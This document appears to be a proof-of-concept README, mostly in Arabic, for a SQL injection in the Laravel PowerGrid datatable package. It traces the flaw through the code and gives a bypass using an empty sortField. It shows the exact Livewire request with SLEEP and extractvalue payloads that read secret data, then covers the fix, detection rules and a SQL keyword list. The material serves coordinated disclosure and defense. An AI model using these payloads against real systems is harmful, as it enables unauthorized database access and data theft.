---

## 🧠 ملخص

PowerGrid هو مكوّن datatable لإطار Laravel + Livewire (~2k نجمة، يُستخدم على نطاق واسع في
لوحات تحكم Laravel). حالة الفرز الخاصة به تعيش في **خاصيتين عامتين في Livewire**:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';

لا تحتوي أيٌّ من الخاصيتين على قائمة سماح، أو قاعدة تحقّق، أو مُعيِّن تطبيع. `sortDirection` يتم تعيينه أو قلبه فقط:```php
public function reverseSort(): string    // line 37
{
    return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}

if ($when) {
    $this->rawQueries[] = [
        'method'   => 'orderByRaw',                          // <-- raw sink
        'sql'      => Sql::sortStringAsNumber($this->dataField),
        'bindings' => [],
    ];
}

return $this;

`Sql::sortStringAsNumber()` يؤول إلى تعبير خاص بكل مُحرّك يُبنى بواسطة
`getSortSqlByDriver()` في `src/DataSource/Support/Sql.php` (الأسطر 60–100). كل نسخة من نسخ المُحرّك
تنتهي بنفس العنصر النائب الحرفي:```php
$default = "$sortField+0 {sortDirection}";                                                          // line 76
'8.0.4'  => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}",  // MySQL, line 81
'0'      => "CAST($sortField AS INTEGER) {sortDirection}",                                          // SQLite, line 84
'0'      => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0'      => "CAST(SUBSTRING(...) AS INT) {sortDirection}",                                          // SQL Server, line 90

return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
    $property = trim($matches[1]);

    return data_get($this->component, $property, '');   // line 65 — raw property, no escaping
}, $sql);

والتنفيذ، السطر 52:```php
$query->{$method}($resolvedSql, $resolvedBindings);   // $method === 'orderByRaw'

---

## 🔓 التحايل — لماذا لا ينقذك تحقق Laravel

هذا هو الجزء الذي يحوّل "الاستيفاء الخام" إلى ثغرة قابلة للاستغلال فعلاً، وهو السبب في بقاء المشكلة في حزمة ناضجة واسعة الاستخدام.

يعالج PowerGrid استعلامًا عبر **خط أنابيب**. هناك مرحلتان من ذلك الخط تمسّان اتجاه الفرز:

**خط أنابيب `Sorting`** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
    // ...
    if (filled($this->component->sortField)) {          // line 21  <-- THE GUARD
        if ($this->component->multiSort) {
            $this->applyMultipleSort($query);
        } else {
            $this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
        }
    }

    return $next($query);
}

private function applySingleSort(..., string $sortField, string $direction): void
{
    // ...
    $query->orderBy($this->component->resolveSortField($sortField), $direction);   // line 42
}

إذن في المسار الطبيعي — ينقر المستخدم على رأس عمود، `sortField=name`، `sortDirection=<payload>` — يحجب الإطار الحقن. تدقيق سريع يتوقف هنا ويستنتج «تم التخفيف بواسطة Laravel».

**خط أنابيب `ColumnRawQueries`** — المرحلة الثانية، الموضحة أعلاه — **لا يملك مثل هذا الحارس**. انظر إلى `handle()` (الأسطر 21–27): إنه يكرر عبر الأعمدة، ولكل عمود يحمل `rawQueries` يطبّقها *بدون شروط*. لا يستشير `sortField` أبدًا. ولا يستشير نتيجة خط أنابيب `Sorting` أبدًا.

هذا التفاوت هو الخلل:

| `sortField` | خط أنابيب Sorting | خط أنابيب ColumnRawQueries | النتيجة |
|---|---|---|---|
| `"name"` (ممتلئ) | يعمل → `orderBy()` **يتحقق** → يرمي استثناءً على الحمولة | يعمل → يحقن | ❌ محجوب بواسطة الاستثناء |
| `""` (فارغ) | `filled('')` يساوي `false` → **يُتخطى بالكامل** | يعمل → يحقن | ✅ **يتم الحقن** |

ضبط **`sortField` إلى سلسلة فارغة** يجعل مرحلة التحقق تتخطى نفسها، بينما المرحلة الخام لا تزال تُصدر `ORDER BY` الخاص بـ `naturalSort` مع قيمة `{sortDirection}` الخاصة بالمهاجم بداخله. لا يتم استدعاء تحقق Laravel أبدًا، لأن مسار الكود الذي يحتويه لا يُنفَّذ أبدًا.

**لذلك الهجوم الكامل يعتمد على حقلين، ليس حقلًا واحدًا:** `sortDirection` يحمل الحمولة، و`sortField=""` هو المفتاح الذي يفتح الباب.

---

## 🎯 الحقول الدقيقة

كل شيء يحدث عبر نقطة نهاية التحديث القياسية في Livewire. لا توجد رؤوس خاصة، ولا مسار مخصص، ولا وظيفة إدارية.

**نقطة النهاية:** `POST /livewire/update`

**المحتوى (JSON):**```json
{
  "_token": "<CSRF token from the page>",
  "components": [
    {
      "snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
      "updates": {
        "sortField": "",
        "sortDirection": "asc, (SELECT SLEEP(3))"
      },
      "calls": []
    }
  ]
}

تقع الحمولة في فتحة تعبير كاملة ضمن قائمة `ORDER BY`، ولهذا يعمل الاستعلام الفرعي المجرّد ويبقى البند صالحًا كـ SQL.

---

## 🔬 كيف تم اكتشافه — المسار عبر الكود

الترتيب أدناه هو الترتيب الفعلي للاستدلال، بما في ذلك الخطوة التي كادت أن تُغلق التحقيق باعتباره إيجابية كاذبة.

**1. سطح الهجوم أولًا: الخصائص العامة في Livewire هي مدخلات المهاجم.**
يصرّح نموذج الإطار نفسه بأن كل خاصية `public` في مكوّن قابلة للكتابة من العميل عبر `/livewire/update`. لذا فإن سؤال التدقيق لأي حزمة Livewire ليس "هل يوجد إدخال من المستخدم؟" بل "أي الخصائص العامة تصل إلى مصرف خطير؟". قمتُ بتعداد الخصائص العامة في PowerGrid؛ وبرز `$sortField` و`$sortDirection` بوصفهما الخواص الموجودتين تحديدًا ليتم تركيبهما في SQL.

**2. تتبّعها إلى كل مصرف.** قمت بالبحث في الحزمة عن واجهات SQL الخام — `orderByRaw`، `whereRaw`، `selectRaw`، `havingRaw`، `DB::raw` — وبحثت عن أي منها يمكن أن يستقبل تلك الخصائص. كان المطلوب هو `'method' => 'orderByRaw'` الخاص بـ `naturalSort` في `Macros.php`.

**3. إيجاد الصلة بين الخاصية والمصرف.** لم يكن SQL الخام في `Sql.php` يشير إلى `$this->sortDirection`؛ بل احتوى على السلسلة الحرفية `{sortDirection}`. مثل هذا الاستبدال يوحي بوجود محلّل (resolver) في مكان ما. قاد البحث عن نمط الأقواس المتعرجة إلى `ColumnRawQueries::resolvePlaceholders()` وإلى `data_get($this->component, $property, '')` — قارئ خصائص عام بدون أي تهريب. وهكذا ارتبط المصدر بالمصرف.

**4. الخطوة التي كادت أن تقضي عليه: التخفيف (Mitigation).** المحاولة الحية الأولى — تعيين `sortDirection` إلى حمولة وتشغيلها — لم تُنتج تسريبًا بل أنتجت `InvalidArgumentException: Order direction must be "asc" or "desc".` كان `orderBy()` في Laravel يلتقطها. الاستنتاج المغري هنا هو *"الإطار يخفف الهجوم، وليس قابلًا للاستغلال"*، وكان هذا الاستنتاج خاطئًا.

**5. اسأل من أين جاء الاستثناء، وليس فقط أنه حدث.** أشار التتبع إلى `orderBy()` في مسار (pipeline) `Sorting` — **مرحلة مختلفة** عن مصرف `orderByRaw()` المحدد في الخطوة 2. مرحلتان، كتابتان مستقلتان في نفس `ORDER BY`، وواحدة فقط منهما تتحقق. هذا أعاد صياغة السؤال من "هل يمكنني هزيمة مدقق Laravel؟" (لا — فهو مقارنة صارمة) إلى **"هل يمكنني الوصول إلى المرحلة الخام دون تنفيذ مرحلة التحقق؟"**

**6. اقرأ الحارس.** تعمل مرحلة التحقق تحت شرط `if (filled($this->component->sortField))`.
`filled('')` تساوي `false`. أما المرحلة الخام فليس لها أي حارس. كان الالتفاف نتيجة مباشرة: أرسل `sortField=""` وستعمل المرحلة غير المحروسة وحدها.

**7. تأكيد تجريبيًا، مرتين، بتقنيات مستقلة.** الإشارة الإيجابية الواحدة ليست اكتشافًا — ففارق الزمن قد يكون محدّد معدل (rate limiter)، والخطأ قد يكون 500 عامًا. تطلّب الأمر كلا من إثبات قائم على الخطأ (اعتراض قاعدة البيانات للاستعلام الفرعي المحقون حرفيًا) وأوراكل منطقية قائمة على الوقت (التمييز بين TRUE و FALSE على بيانات حقيقية) قبل اعتباره مؤكدًا. انظر [الدليل](#-evidence).

**خلاصة قابلة للتعميم:** التخفيف على مستوى الإطار يحمي فقط مسار الكود الذي يقع عليه. عندما تكتب مرحلتان في مسار المعالجة نفس جملة SQL، فإن عبارة "الإطار يتحقق من ذلك" إنما تدّعي ذلك عن إحداهما فقط. اسأل دائمًا في أي مرحلة يقع التحقق فعليًا، وما إذا كانت المرحلة الخطيرة يمكن أن تعمل وحدها.

---

## 🧪 الأدلة

المختبر: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB، مع مكوّن PowerGrid باسم `RoomTable` يصرّح عموده `name` بـ `->naturalSort(true)`، وجدول `rooms` يحتوي عمود `secret`. المختبر الكامل في [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/).

**القائم على الخطأ — يصل الاستعلام الفرعي المحقون إلى قاعدة البيانات حرفيًا** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
  (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0

The TRUE/FALSE pair is what upgrades this from "something is slow" to "I can read your data":
the same request shape returns two cleanly separated timings depending on a condition over a
value the attacker cannot see. That is a working oracle, and `poc/exploit_powergrid_sqli.py`
walks it character by character.

> `SLEEP(3)` yields ~9s rather than ~3s because the sort applies the sleeping expression across
> multiple rows — a stronger, not weaker, signal.

Raw notes: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt).

---

## ⚙️ Proof of Concept

Dependency-free, Python 3 standard library only.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms

عند استهداف نسخة `6.10.4` مُصحَّحة، لا يُبلِغ السكربت عن أي فرق زمني ويخرج بشكل نظيف —
تختزل القائمة البيضاء كل حمولة إلى `asc`.

---

## ✅ تحليل الإصلاح (`v6.10.4`)

قدّم المشرفون **دفاعًا متعمقًا عبر أربعة مواقع استدعاء** — وهو الشكل الصحيح لهذه الفئة من الأخطاء البرمجية. الأساس:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
    $direction = strtolower(trim((string) $direction));

    return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}

**الترقية — لا تحاول التحايل عليها.** إذا لم تستطع الترقية اليوم فعلًا، فإن التخفيف المؤقت
هو تعقيم المكوّن نفسه:```php
public function updatedSortDirection(): void
{
    $this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
        ? strtolower(trim($this->sortDirection))
        : 'asc';
}

No `naturalSort` column means the raw `ORDER BY` is never registered, and the primary path is not
reachable. Note that `v6.10.4` also hardened the `sortUsing` callback path — if your custom sort
callbacks build raw SQL from the direction, you are exposed through that path as well, `naturalSort`
or not.

### اكتشاف الاستغلال

الهجوم هو طلب Livewire يبدو طبيعيًا؛ لا توجد نقطة نهاية أو طريقة غير معتادة للتنبيه. انظر إلى **قيمة** `sortDirection` — فحركة المرور المشروعة ترسل دائمًا `asc` أو `desc` فقط.

أي شيء آخر يُعدّ، بحكم التعريف، شاذًا. إشارات عملية:

- `POST /livewire/update` حيث يحتوي نص JSON على `"sortDirection"` بقيمة ليست `asc`/`desc` تمامًا (دون تمييز حالة الأحرف) — دقة عالية، وما يقرب من صفر نتائج إيجابية خاطئة؛
- نفس الطلب يحمل `"sortField":""` (فارغًا) مع `sortDirection` غير عادي — التوقيع الدقيق للالتفاف؛
- كلمات SQL المفتاحية في تلك القيمة: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`;
- سجلات أخطاء التطبيق التي تحتوي على `SQLSTATE[HY000] 1105` أو `SQLSTATE[42000]` وتشير إلى `order by`؛
- دفعات من طلبات POST بنفس الشكل مع أوقات استجابة تتجمع بشكل ثنائي (سريعة/بطيئة) — استعلام أعمى يجري استكشافه.

تم توفير قاعدتي Sigma في [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) —
إحداهما على نص الطلب، والأخرى على توقيع خطأ قاعدة البيانات لحالة عدم توفر تسجيل النص.
قالب Nuclei يُعلّم مكوّنات PowerGrid القابلة للوصول (السطح المطلوب مسبقًا)
موجود في [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml)؛
أكِّد أي إصابة باستخدام `poc/exploit_powergrid_sqli.py --check-only`.

---

## 📚 المراجع

- نشرة GitHub الأمنية — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- إصدار الإصلاح — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- فرق الإصلاح — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [التحييد غير الصحيح للعناصر الخاصة المستخدمة في أمر SQL](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [الخصائص قابلة للكتابة من جانب العميل](https://livewire.laravel.com/docs/properties#security-concerns)

---

## ⚖️ الإشعار القانوني

نُشر بعد إفصاح منسّق، وتوفّر تصحيح مُصدَر، وإشعار عام من البائع. يستهدف إثباتُ المفهوم (PoC) المختبرَ المحلي في [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) وهو مخصص للمدافعين للتحقق من تعرضهم الخاص وللباحثين الذين يدرسون فئة الثغرة. تشغيله ضد أنظمة غير مصرح لك باختبارها يعدّ غير قانوني. أنت مسؤول عن استخدامك له.

---

**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)